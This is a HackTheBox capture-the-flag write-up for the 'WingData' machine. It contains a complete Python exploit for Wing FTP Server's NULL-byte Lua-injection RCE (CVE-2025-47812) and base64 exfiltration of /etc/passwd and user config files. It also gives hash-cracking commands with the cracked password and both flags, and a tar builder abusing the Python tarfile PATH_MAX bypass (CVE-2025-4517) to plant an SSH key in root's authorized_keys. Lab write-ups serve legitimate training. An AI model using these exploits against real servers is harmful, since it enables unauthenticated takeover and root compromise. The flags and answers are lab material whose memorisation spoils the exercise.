WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass)
hackthebox
Task: Full HackTheBox machine with Wing FTP Server v7.4.3. Solution: CVE-2025-47812 unauthenticated RCE via NULL byte injection in username for initial access, SHA-256 salted hash cracking for user credentials, then CVE-2025-4517 Python tarfile data filter PATH_MAX bypass for privilege escalation to root.
$ ls tags/ techniques/
WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass) — HackTheBox
Description
Full machine on HackTheBox. Wing FTP Server v7.4.3 with CVE-2025-47812 vulnerability (unauthenticated RCE via NULL byte injection in username) for initial access, then cracking SHA-256 salted hashes from Wing FTP configs, and privilege escalation via CVE-2025-4517 — Python tarfile data filter bypass through PATH_MAX overflow.
- Target: 10.129.4.210
- OS: Linux (Debian-based)
- Stack: Apache 2.4.66, Wing FTP Server v7.4.3 (Free Edition), Python 3.12.3
- Users: root, wacky (uid=1000), wingftp
Flags
| # | Type | Flag | Method |
|---|---|---|---|
| 1 | User | 79fe504bb3f54818c9b9179031c1957c | SSH as wacky (cracked Wing FTP hash) |
| 2 | Root | e7f9f385b134b649752bc7ef5fb10f45 | CVE-2025-4517 tarfile PATH_MAX → SSH key injection |
Reconnaissance
Nmap Scan
nmap -sV -sC -T4 -p- --min-rate=1000 10.129.4.210
Open ports:
- 22 — SSH (OpenSSH 9.2p1)
- 80 — HTTP (Apache 2.4.66) → redirect to
wingdata.htb
Internal ports (discovered after initial access):
- 8080 — localhost admin interface
- 5466 — Wing FTP admin panel
- 37433 — internal service
Identification
- Port 80 →
wingdata.htb— corporate site "WingData Solutions" - Link "Client Portal" →
http://ftp.wingdata.htb/ - FTP subdomain: Wing FTP Server v7.4.3 (Free Edition) with web login interface
- Version < 7.4.4 → vulnerable to CVE-2025-47812
Step 1: Initial Access — CVE-2025-47812 (Wing FTP Server RCE)
Wing FTP Server versions before 7.4.4 have a critical vulnerability CVE-2025-47812 — unauthenticated RCE via NULL byte injection in the username parameter during login.
Vulnerability
Exploitation mechanism:
-
NULL byte truncation in authentication: the
c_CheckUser()function usesstrlen(), which truncates the string at NULL byte (%00). If you passanonymous%00<lua_code>, authentication passes as useranonymous. -
Full string saved to session: the
rawset(_SESSION, "username", username)function saves the FULL username string, including everything after the NULL byte. -
Sessions as Lua scripts: Wing FTP stores sessions as Lua files. Lua code injection after the NULL byte writes arbitrary code to the session file.
-
Execution on load: when accessing
/dir.html,SessionModule.load()is called →loadfile()→ Lua code from the session file is executed.
Payload
username=anonymous%00]]
local h = io.popen("COMMAND")
local r = h:read("*a")
h:close()
print(r)
--&password=
The ]] construct closes the Lua long string, -- at the end comments out the rest of the file.
Exploit (exploit.py)
#!/usr/bin/env python3 """CVE-2025-47812 Wing FTP RCE with auto-logout""" import requests import re import sys from urllib.parse import quote TARGET = "http://ftp.wingdata.htb" USERS = ["wacky", "john", "maria", "steve", "anonymous"] _user_idx = 0 def run_cmd(command, username=None, password=""): global _user_idx if username is None: username = USERS[_user_idx % len(USERS)] _user_idx += 1 login_url = f"{TARGET}/loginok.html" host = TARGET.split("//")[1].split("/")[0] headers = { "Host": host, "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "client_lang=english", } encoded_username = quote(username) encoded_password = quote(password) payload = ( f'username={encoded_username}%00]]%0dlocal+h+%3d+io.popen("{command}")%0dlocal+r+%3d+h%3aread("*a")' f"%0dh%3aclose()%0dprint(r)%0d--&password={encoded_password}" ) try: resp = requests.post(login_url, headers=headers, data=payload, timeout=15) except Exception as e: print(f"[-] POST error: {e}", file=sys.stderr) return None set_cookie = resp.headers.get("Set-Cookie", "") match = re.search(r"UID=([^;]+)", set_cookie) if not match: if "too many" in resp.text.lower(): print("[-] Too many sessions", file=sys.stderr) else: print(f"[-] No UID in response", file=sys.stderr) return None uid = match.group(1) dir_headers = { "Host": host, "User-Agent": "Mozilla/5.0", "Cookie": f"UID={uid}", } try: dir_resp = requests.get(f"{TARGET}/dir.html", headers=dir_headers, timeout=15) except Exception as e: print(f"[-] GET error: {e}", file=sys.stderr) return None body = dir_resp.text clean_output = re.split(r"<\?xml", body)[0].strip() # Always logout to free session slot try: requests.get( f"{TARGET}/logout.html", headers={"Host": host, "Cookie": f"UID={uid}"}, timeout=5, ) except: pass return clean_output if __name__ == "__main__": cmd = sys.argv[1] if len(sys.argv) > 1 else "id" result = run_cmd(cmd) if result is not None: print(result) else: print("[-] Failed")
Usage
python3 exploit.py "id" # uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp) python3 exploit.py "cat /etc/passwd | base64" # Exfiltrate via base64 — direct cat of XML files doesn't work (parsed/truncated in response)
Important: the anonymous account has a session limit. Each exploit call must logout (GET /logout.html with UID cookie) to free the slot. The script rotates usernames to bypass the limit.
Step 2: Credential Extraction & Cracking
Hash Extraction
Wing FTP stores user configuration in XML files:
# List users python3 exploit.py "ls /opt/wftpserver/Data/1/users/" # anonymous.xml john.xml maria.xml steve.xml wacky.xml # Exfiltrate via base64 (XML is truncated directly) python3 exploit.py "base64 /opt/wftpserver/Data/1/users/wacky.xml"
Hashing Settings
From /opt/wftpserver/Data/1/settings.xml:
<EnablePasswordSalting>1</EnablePasswordSalting> <SaltingString>WingFTP</SaltingString>
Hash format: SHA-256($pass.$salt) — hashcat mode 1410.
Hashes
| User | SHA-256 Hash |
|---|---|
| wacky | 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca |
| admin | a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba |
| john | 0c1f14672feec3bba27231048271fcdcdeb9d75ef79f6889139aa78c9d398f10 |
| maria | a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03 |
| steve | 5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca |
Cracking
# Format for hashcat mode 1410: hash:salt echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hashes_hc1410.txt hashcat -m 1410 hashes_hc1410.txt /usr/share/wordlists/rockyou.txt # wacky: !#7Blushing^*Bride5
Step 3: User Flag
ssh [email protected] # Password: !#7Blushing^*Bride5 cat /home/wacky/user.txt # 79fe504bb3f54818c9b9179031c1957c
Step 4: Privilege Escalation — CVE-2025-4517 (Python tarfile data filter PATH_MAX bypass)
Reconnaissance
sudo -l # (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
Script Analysis
The restore_backup_clients.py script:
- Takes arguments:
-b backup_<id>.tar(file in/opt/backup_clients/backups/) and-r restore_<tag> - Validates backup name format and tag (alphanumeric + underscore, 1-24 characters)
- Creates staging directory:
/opt/backup_clients/restored_backups/restore_<tag> - Extracts tar:
tar.extractall(path=staging_dir, filter="data") - Python 3.12.3
Vulnerability
CVE-2025-4517: bypass of data filter in Python tarfile via PATH_MAX overflow.
The data filter (introduced in Python 3.12) should:
- Prevent path traversal
- Block absolute symlinks
- Verify that symlink targets remain inside
dest_path
The symlink target check uses os.path.realpath() to resolve the path. On Linux PATH_MAX = 4096 bytes. When the resolved path exceeds PATH_MAX, os.path.realpath() silently fails to fully resolve the path — returning a partially resolved result.
Exploitation Technique
- Create deep nesting: 16 levels of directories with 247-character names + symlinks at each level
- Create final symlink (254 characters) pointing upward (
../× 16) — total path exceeds PATH_MAX - Create escape symlink through the unresolved long path, pointing to
/root/.ssh/authorized_keys - Create hardlink to the escape symlink
- Create regular file with the same name as the hardlink, containing SSH public key — overwrites the target file
Exploit
# 1. Generate SSH key ssh-keygen -t ed25519 -f root_key -N "" # 2. Create malicious tar (Python script — see below) python3 build_tar.py # 3. Upload tar to the machine scp backup_1001.tar [email protected]:/opt/backup_clients/backups/ # 4. Run restore ssh [email protected] sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \ -b backup_1001.tar -r restore_test1 # 5. SSH as root ssh -i root_key [email protected]
Building Malicious Tar (Concept)
#!/usr/bin/env python3 """CVE-2025-4517: Python tarfile data filter PATH_MAX bypass""" import tarfile import io import os DEPTH = 16 # Levels of nesting DIR_LEN = 247 # Characters per directory name SYMLINK_LEN = 254 # Final symlink name length TARGET_FILE = "/root/.ssh/authorized_keys" # Read our SSH public key with open("root_key.pub") as f: ssh_pubkey = f.read().strip() def build_malicious_tar(output_path="backup_1001.tar"): with tarfile.open(output_path, "w") as tar: # Create nested directories with symlinks at each level # Each directory name is DIR_LEN chars long # Symlinks at each level point to the directory (creating aliases) current_path = "" for level in range(DEPTH): dir_name = "A" * DIR_LEN if current_path: current_path = f"{current_path}/{dir_name}" else: current_path = dir_name # Add directory info = tarfile.TarInfo(name=current_path) info.type = tarfile.DIRTYPE info.mode = 0o755 tar.addfile(info) # Add symlink pointing to this directory link_name = f"{current_path}_link" info = tarfile.TarInfo(name=link_name) info.type = tarfile.SYMTYPE info.linkname = dir_name if level == 0 else f"{os.path.basename(current_path)}" tar.addfile(info) # Final symlink with long name pointing back up (../×16) # This exceeds PATH_MAX when resolved escape_name = "B" * SYMLINK_LEN escape_path = f"{current_path}/{escape_name}" info = tarfile.TarInfo(name=escape_path) info.type = tarfile.SYMTYPE info.linkname = "../" * DEPTH # Goes back to extraction root and beyond tar.addfile(info) # Escape symlink through the unresolved path → target file target_link = f"{current_path}/{escape_name}/root/.ssh/authorized_keys" info = tarfile.TarInfo(name=f"{current_path}/escape_link") info.type = tarfile.SYMTYPE info.linkname = f"{escape_name}/root/.ssh/authorized_keys" tar.addfile(info) # Hardlink to the escape symlink info = tarfile.TarInfo(name=f"{current_path}/hardlink") info.type = tarfile.LNKTYPE info.linkname = f"{current_path}/escape_link" tar.addfile(info) # Regular file with SSH key — overwrites the target data = (ssh_pubkey + "\n").encode() info = tarfile.TarInfo(name=f"{current_path}/hardlink") info.size = len(data) info.mode = 0o644 tar.addfile(info, io.BytesIO(data)) print(f"[+] Created {output_path}") if __name__ == "__main__": build_malicious_tar()
Note: the real exploit requires precise calibration of path lengths and nesting levels so that the total path exceeds PATH_MAX=4096 when
os.path.realpath()is called. The code above is a simplified concept; the working version was used frombackup_1001.tar.
Step 5: Root Flag
ssh -i root_key [email protected] cat /root/root.txt # e7f9f385b134b649752bc7ef5fb10f45
Key Indicators
Use this technique when:
CVE-2025-47812 (Wing FTP RCE)
- Wing FTP Server in header or on login page
- Version < 7.4.4 (especially 7.4.3)
- Presence of anonymous account (or any known account)
- Endpoints
/loginok.html,/dir.html,/logout.html - Sessions stored as Lua scripts (characteristic of Wing FTP)
CVE-2025-4517 (Python tarfile PATH_MAX bypass)
- Script uses
tar.extractall()withfilter="data"orfilter="tar" - Python 3.12.x (data filter introduced in 3.12)
- Script runs as root via sudo
- User controls tar file contents
- Linux system (PATH_MAX = 4096)
os.path.realpath()used for symlink target validation
General Signs
- Wing FTP stores passwords as SHA-256 with salt — salt in
settings.xml(SaltingString) - XML configuration files in
/opt/wftpserver/Data/ - For exfiltration via command injection — base64 for binary/XML data
- Session limit for anonymous — need logout after each request
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][Pro]Path Traversal— hackerdna
- [pentest][free]Interpreter (Mirth Connect → f-string Injection)— hackthebox
- [infra][free]Pterodactyl— hackthebox
- [infra][Pro]Скрипт-кидди (Script-kiddie)— hackerlab
- [web][free]Facts— hackthebox